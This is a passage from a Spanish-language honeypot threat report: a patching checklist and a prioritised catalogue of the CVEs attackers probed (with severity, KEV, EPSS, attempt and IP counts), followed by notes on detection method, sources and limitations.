[ ]	LiteLLM · CVE-2026-35029	CVE-2026-35029: < 1.83.0	Aplicar la última actualización del fabricante.	En 30 días
[ ]	Dragonfly2 · CVE-2023-27584	CVE-2023-27584: < 2.0.9	Aplicar la última actualización del fabricante.	En 30 días
[ ]	IBM Langflow · CVE-2026-9198	CVE-2026-9198: desde 1.0.0 hasta 1.10.0 incluida	Aplicar la última actualización del fabricante.	En 30 días
[ ]	rConfig · CVE-2020-9425	Ver la ficha o el aviso del fabricante	Actualizar a la versión 3.9.4 o posterior.	En 30 días
[ ]	TerraMaster TOS · CVE-2020-28185	Ver la ficha o el aviso del fabricante	Actualizar a la versión 4.2.06 o posterior.	En 30 días

Hecho	Producto y CVE	Versiones afectadas	Acción	Plazo
[ ]	Splunk Enterprise · CVE-2024-36991	CVE-2024-36991: desde 9.2 hasta antes de 9.2.2, desde 9.1 hasta antes de 9.1.5, desde 9.0 hasta antes de 9.0.10	Aplicar la última actualización del fabricante.	En 30 días
[ ]	WordPress Core · CVE-2026-63030, CVE-2026-60137	CVE-2026-63030: desde 6.9.0 hasta antes de 6.9.5, desde 7.0.0 hasta antes de 7.0.2; CVE-2026-60137: desde 6.8.0 hasta antes de 6.8.6, desde 6.9.0 hasta antes de 6.9.5, desde 7.0.0 hasta antes de 7.0.2	Aplicar la última actualización del fabricante.	En 30 días
[ ]	HSC MailInspector · CVE-2024-34470, CVE-2026-29962	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Contact Form 7 Drag and Drop Multiple File Upload · CVE-2025-3515	CVE-2025-3515: hasta 1.3.8.9 incluida	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Scramble Laravel · CVE-2026-44262	CVE-2026-44262: >= 0.13.2, < 0.13.22	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	AntD Admin · CVE-2021-46371	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Ultimate Addons for Contact Form 7 · CVE-2026-82901	CVE-2026-82901: hasta 3.5.50 incluida	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Apache Solr · CVE-2026-44825	CVE-2026-44825: desde 9.4.0 hasta 9.10.1 incluida, 10.0.0	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	PHP Possible php Remote File Inclusion Attempt · CVE-2002-0953	Ver la ficha o el aviso del fabricante	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	TrueBooker · CVE-2026-18315	CVE-2026-18315: hasta 1.2.6 incluida	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Edito CMS · CVE-2024-4836	CVE-2024-4836: desde 3.5 hasta 3.25 incluida	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	LightRAG · CVE-2026-61808	CVE-2026-61808: < 1.5.5rc1	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	ChangeDetection.io · CVE-2024-51483, CVE-2025-62780	CVE-2025-62780: < 0.50.34; CVE-2024-51483: < 0.47.5	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	WordPress Sassy Social Share Plugin · CVE-2021-24746	CVE-2021-24746: desde 3.3.40 hasta antes de 3.3.40	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Request Quote for WooCommerce · CVE-2026-18143	CVE-2026-18143: hasta 2.9.2 incluida	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	WordPress Media Library Assistant · CVE-2026-34885	CVE-2026-34885: hasta 3.34 incluida	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Asgaros Forum · CVE-2025-11452	CVE-2025-11452: hasta 3.1.0 incluida	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Symfony HttpFoundation · CVE-2025-64500	CVE-2025-64500: >= 2.0.0, < 5.4.50, >= 6.0.0, < 6.4.29, >= 7.0.0, < 7.3.7	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Mage AI · CVE-2025-2129	CVE-2025-2129: 0.9.75	Aplicar la última actualización del fabricante.	Próximo mantenimiento
[ ]	Yonyou UFIDA ERP-NC V5.0 · CVE-2025-2710	CVE-2025-2710: 5.0	Aplicar la última actualización del fabricante.	Próximo mantenimiento

Las versiones afectadas salen del registro oficial CVE cuando está disponible. Antes de actualizar, confirmar siempre la versión corregida en el aviso del fabricante.

9. Catálogo completo del periodo

Todas las vulnerabilidades buscadas en el periodo, ordenadas por prioridad. Las marcadas con * comparten patrón con otras (ver el aviso al final).

CVE	Producto	Gravedad	KEV	EPSS	Intentos	IPs	Conf.	Prioridad
CVE-2026-109619	PHP Group PHP	Crítica (9,2)	Sí	>99 %	44	4	Real	Urgente
CVE-2018-13379	Fortinet FortiOS	Crítica (9,1)	Sí	>99 %	8	6	Real	Urgente
CVE-2021-26855	Microsoft Exchange Server	Crítica (9,1)	Sí	>99 %	11	10	Real	Urgente
CVE-2020-8515	DrayTek Multiple Vigor Routers	Crítica (9,8)	Sí	>99 %	2	1	Real	Urgente
CVE-2021-41773	Apache HTTP Server	Alta (7,5)	Sí	>99 %	79	38	Real	Urgente
CVE-2020-3452	Cisco Adaptive Security Appliance (ASA…	Alta (7,5)	Sí	>99 %	9	6	Real	Urgente
CVE-2024-4577	PHP Group PHP	Crítica (9,8)	Sí	>99 %	462	18	Real	Urgente
CVE-2021-42013	Apache HTTP Server	Crítica (9,8)	Sí	>99 %	44	20	Real	Urgente
CVE-2021-36260	Hikvision Security cameras web server	Crítica (9,8)	Sí	>99 %	308	5	Real	Urgente
CVE-2023-23752	Joomla!	Media (5,3)	Sí	>99 %	1	1	Real	Urgente
CVE-2025-55182	Meta React Server Components	Crítica (10,0)	Sí	>99 %	2	1	Real	Urgente
CVE-2023-20198	Cisco IOS XE Web UI	Crítica (10,0)	Sí	>99 %	2	1	Real	Urgente
CVE-2018-10561 *	Dasan Gigabit Passive Optical Network …	Crítica (9,8)	Sí	93 %	27	14	Real	Urgente
CVE-2017-9841	PHPUnit	Crítica (9,8)	Sí	>99 %	541	16	Sondeo	Alta
CVE-2014-6271	GNU Bourne-Again Shell (Bash)	Crítica (9,8)	Sí	>99 %	422	8	Sondeo	Alta
CVE-2023-1389	TP-Link Archer AX21	Alta (8,8)	Sí	>99 %	15	2	Sondeo	Alta
CVE-2021-44228	Apache Log4j2	Crítica (10,0)	Sí	>99 %	6	6	Sondeo	Alta
CVE-2012-1823	PHP	Crítica (9,8)	Sí	>99 %	76	16	Sondeo	Alta
CVE-2019-9670	Synacor Zimbra Collaboration Suite (ZC…	Crítica (9,8)	Sí	>99 %	4	1	Sondeo	Alta
CVE-2022-40684	Fortinet Multiple Products	Crítica (9,8)	Sí	>99 %	12	6	Sondeo	Alta
CVE-2018-10562 *	Dasan Gigabit Passive Optical Network …	Crítica (9,8)	Sí	>99 %	27	14	Sondeo	Alta
CVE-2021-3129	Laravel Ignition	Crítica (9,8)	Sí	>99 %	9	3	Sondeo	Alta
CVE-2015-1427	Elasticsearch	Crítica (9,8)	Sí	>99 %	22	22	Sondeo	Alta
CVE-2024-0012	Palo Alto Networks PAN-OS	Crítica (9,3)	Sí	>99 %	6	6	Sondeo	Alta
CVE-2018-20062	ThinkPHP noneCms	Crítica (9,8)	Sí	>99 %	53	16	Sondeo	Alta
CVE-2023-38646	Metabase	Crítica (9,8)	-	99 %	4	4	Sondeo	Alta
CVE-2022-42475	Fortinet FortiOS	Crítica (9,3)	Sí	99 %	25	22	Sondeo	Alta
CVE-2022-24086	Adobe Commerce and Magento Open Source	Crítica (9,8)	Sí	99 %	4	2	Sondeo	Alta
CVE-2025-68613	n8n	Crítica (10,0)	Sí	99 %	3	1	Sondeo	Alta
CVE-2026-72898	Metabase	Crítica (10,0)	Sí	99 %	4	4	Sondeo	Alta

CVE	Producto	Gravedad	KEV	EPSS	Intentos	IPs	Conf.	Prioridad
CVE-2026-41940	WebPros cPanel & WHM and WP2 (WordPres…	Crítica (9,3)	Sí	99 %	2	1	Sondeo	Alta
CVE-2009-1151	phpMyAdmin	Crítica (9,8)	Sí	97 %	1	1	Sondeo	Alta
CVE-2021-46422	SDT-CW3B1	Crítica (9,8)	-	94 %	2	1	Real	Alta
CVE-2021-41349	Microsoft Exchange Server Pre-Auth POS…	Media (6,5)	-	93 %	15	15	Sondeo	Alta
CVE-2026-1731	BeyondTrust Remote Support (RS) and Pr…	Crítica (9,9)	Sí	93 %	1	1	Sondeo	Alta
CVE-2020-8654	EyesOfNetwork	Alta (8,8)	-	92 %	2	2	Sondeo	Alta
CVE-2023-40044	Progress WS_FTP Server	Crítica (10,0)	Sí	90 %	6	6	Sondeo	Alta
CVE-2021-41282	pfSense	Alta (8,8)	-	87 %	21	12	Sondeo	Alta
CVE-2019-7194	QNAP Photo Station	Crítica (9,8)	Sí	83 %	13	11	Sondeo	Alta
CVE-2024-44000	Wordpress LiteSpeed Cache Plugin debug…	Crítica (9,8)	-	82 %	1	1	Real	Alta
CVE-2023-43177	CrushFTP	Crítica (9,8)	-	82 %	9	9	Sondeo	Alta
CVE-2019-9621	Synacor Zimbra Collaboration Suite (ZC…	Alta (7,5)	Sí	81 %	19	16	Sondeo	Alta
CVE-2016-6563	D-Link Devices Home Network Administra…	-	-	80 %	2	2	Real	Alta
CVE-2025-30208	Vite	Media (5,3)	-	75 %	12	1	Real	Alta
CVE-2010-0738	Red Hat JBoss	Baja (3,7)	Sí	74 %	1	1	Sondeo	Alta
CVE-2026-4020	Gravity SMTP WordPress Plugin	Alta (7,5)	-	74 %	1	1	Sondeo	Alta
CVE-2024-28000	WordPress LiteSpeed Cache	Crítica (9,8)	-	68 %	4	4	Sondeo	Alta
CVE-2025-31125	Vitejs	Media (5,3)	Sí	66 %	3	1	Sondeo	Alta
CVE-2023-50968	Apache OFBiz	Alta (7,5)	-	63 %	3	3	Sondeo	Alta
CVE-2021-46381	D-Link DAP-1620	Alta (7,5)	-	59 %	1	1	Sondeo	Alta
CVE-2020-9484 *	Apache Tomcat Remote Command Execution	Alta (7,0)	-	56 %	9	9	Sondeo	Alta
CVE-2010-1428	Red Hat JBoss	Media (5,9)	Sí	53 %	3	2	Sondeo	Alta
CVE-2022-37190	Cuppa CMS	Alta (8,8)	-	46 %	1	1	Sondeo	Alta
CVE-2024-7591	Kemp LoadMaster Load Balancer	Crítica (10,0)	-	39 %	2	2	Sondeo	Alta
CVE-2026-35029	LiteLLM	Alta (8,7)	-	39 %	2	1	Sondeo	Alta
CVE-2023-27584	Dragonfly2	Crítica (9,8)	-	34 %	2	2	Sondeo	Alta
CVE-2026-9198	IBM Langflow	Crítica (9,8)	Sí	29 %	1	1	Real	Alta
CVE-2020-9425	rConfig	Alta (7,5)	-	19 %	12	8	Sondeo	Alta
CVE-2020-28185	TerraMaster TOS	Media (5,3)	-	18 %	2	2	Sondeo	Alta
CVE-2024-36991	Splunk Enterprise	Alta (7,5)	-	13 %	2	2	Sondeo	Alta
CVE-2026-63030	WordPress Core	Crítica (9,8)	Sí	11 %	113	11	Real	Alta
CVE-2026-60137	WordPress Core	Media (5,9)	Sí	5 %	111	11	Real	Alta
CVE-2024-34470	HSC Mailinspector	Alta (8,6)	-	7 %	1	1	Sondeo	Media
CVE-2025-3515 *	Contact Form 7 Drag and Drop Multiple …	Alta (8,1)	-	6 %	5	2	Sondeo	Media
CVE-2026-44262	Scramble Laravel	Crítica (9,4)	-	6 %	1	1	Sondeo	Media
CVE-2021-46371	AntD Admin	Alta (7,5)	-	4 %	2	2	Sondeo	Media

CVE	Producto	Gravedad	KEV	EPSS	Intentos	IPs	Conf.	Prioridad
CVE-2026-82901 *	Ultimate Addons for Contact Form 7	Crítica (9,8)	-	4 %	5	2	Sondeo	Media
CVE-2026-44825	Apache Solr	Alta (8,1)	-	4 %	3	3	Sondeo	Media
CVE-2002-0953	PHP Possible php Remote File Inclusion…	-	-	4 %	20	10	Real	Media
CVE-2022-37191	Cuppa CMS	Media (6,5)	-	3 %	1	1	Sondeo	Media
CVE-2026-18315	TrueBooker	Crítica (9,8)	-	3 %	1	1	Sondeo	Media
CVE-2024-4836	Edito CMS	Alta (7,5)	-	3 %	71	26	Sondeo	Media
CVE-2026-61808	LightRAG	Crítica (9,8)	-	2 %	1	1	Sondeo	Media
CVE-2024-51483 *	Changedetection.io	Media (6,9)	-	2 %	7	3	Sondeo	Media
CVE-2021-24746	WordPress Sassy Social Share Plugin	Media (6,1)	-	2 %	1	1	Sondeo	Media
CVE-2026-18143	Request Quote for WooCommerce	Crítica (9,8)	-	2 %	2	2	Sondeo	Media
CVE-2026-34885	WordPress Media Library Assistant	Alta (8,5)	-	2 %	1	1	Sondeo	Media
CVE-2025-11452	Asgaros Forum	Alta (7,5)	-	2 %	7	2	Sondeo	Media
CVE-2026-29962	HSC MailInspector	Alta (7,5)	-	2 %	1	1	Sondeo	Media
CVE-2025-64500	Symfony HttpFoundation	Alta (7,3)	-	1 %	65	14	Sondeo	Media
CVE-2025-2129	Mage AI	Media (6,3)	-	1 %	3	3	Sondeo	Media
CVE-2025-2710 *	Yonyou UFIDA ERP-NC V5.0	Media (5,3)	-	<1 %	9	9	Sondeo	Media
CVE-2025-62512	Piwigo	Media (5,5)	-	<1 %	2	1	Sondeo	Baja
CVE-2023-49489	KodeExplorer	Media (6,1)	-	<1 %	2	2	Sondeo	Baja
CVE-2025-62780 *	ChangeDetection.io	Baja (3,5)	-	<1 %	7	3	Sondeo	Baja

* Mismo número de intentos, IPs y fechas que otra vulnerabilidad del catálogo. Suele ocurrir cuando una sola petición activa varias firmas (por ejemplo, una ruta común de WordPress). Esas filas deben leerse como una única evidencia.

10. Método, fuentes y limitaciones

Cómo se detecta un intento

Las peticiones que reciben los sensores (URL, cabeceras, cuerpo, comandos y alertas de Suricata) se comparan con un catálogo de firmas de CVE construido a partir de las plantillas públicas de Nuclei, firmas propias y reglas Sigma. Las firmas que se activan con rutas genéricas, que no distinguen un ataque concreto, se descartan del catálogo para no inflar las cifras. Cada intento queda fechado en el momento del ataque, no en el de su análisis.

Fuentes de esta edición

Dato	Fuente	En esta edición
Detecciones	Sensores propios (tabla deteccion_cve)	Sí
Explotación activa y ransomware	Catálogo CISA KEV	Sí
Probabilidad de explotación	EPSS de FIRST	Sí
Descripción, gravedad y corrección	Plantillas Nuclei (ProjectDiscovery)	Sí
Registro oficial, versiones afectadas, SSVC	Lista CVE (cvelistV5, CVE Program)	Sí
Fecha de publicación	Tabla cve_fechas (NVD)	Sí
Vulnerabilidades que vigilan los sensores	Catálogo de firmas (nuclei, Sigma y propias)	Sí (3.630 CVE)

Limitaciones

• Los sensores son señuelos. Que se intente explotar un fallo indica que los atacantes lo buscan, no que la empresa lo tenga ni que haya sufrido un compromiso.

• Una misma petición puede activar varias firmas. El anexo lo señala cuando lo detecta, pero las cifras por vulnerabilidad deben leerse como orientativas.

• Las descripciones y correcciones oficiales se reproducen en inglés, tal como las publican el programa CVE y Nuclei, para no alterar su sentido técnico.

• La prioridad y los plazos son orientativos. Lo que decide es si el producto existe en la empresa, si está expuesto y qué dice el fabricante.

• Las cifras corresponden solo al periodo y los sensores indicados en la portada.